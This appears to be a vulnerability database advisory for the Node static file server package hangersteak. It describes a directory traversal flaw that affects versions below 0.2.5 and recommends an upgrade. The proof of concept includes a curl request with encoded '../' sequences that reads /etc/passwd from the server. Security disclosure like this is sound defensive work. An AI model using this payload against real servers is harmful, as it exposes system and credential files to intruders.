hangersteak@0.1.2 vulnerabilities

Node static file web server

  • latest version

    0.2.12

  • latest non vulnerable version

  • first published

    6 years ago

  • latest version published

    3 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the hangersteak package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Directory Traversal

    hangersteak is a Node static file web server

    Affected versions of this package are vulnerable to Directory Traversal through the url which doesn't verify the file is from the root directory path.

    PoC

    1. create index.js:
    const http = require('http')
    const hangersteak = require('hangersteak')
    const server = http.createServer((req, res) => { hangersteak(req, res) })
    server.listen(3006)
    
    1. Start the application: nodejs index.js
    2. curl "http://localhost:3006/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

    How to fix Directory Traversal?

    Upgrade hangersteak to version 0.2.5 or higher.

    <0.2.5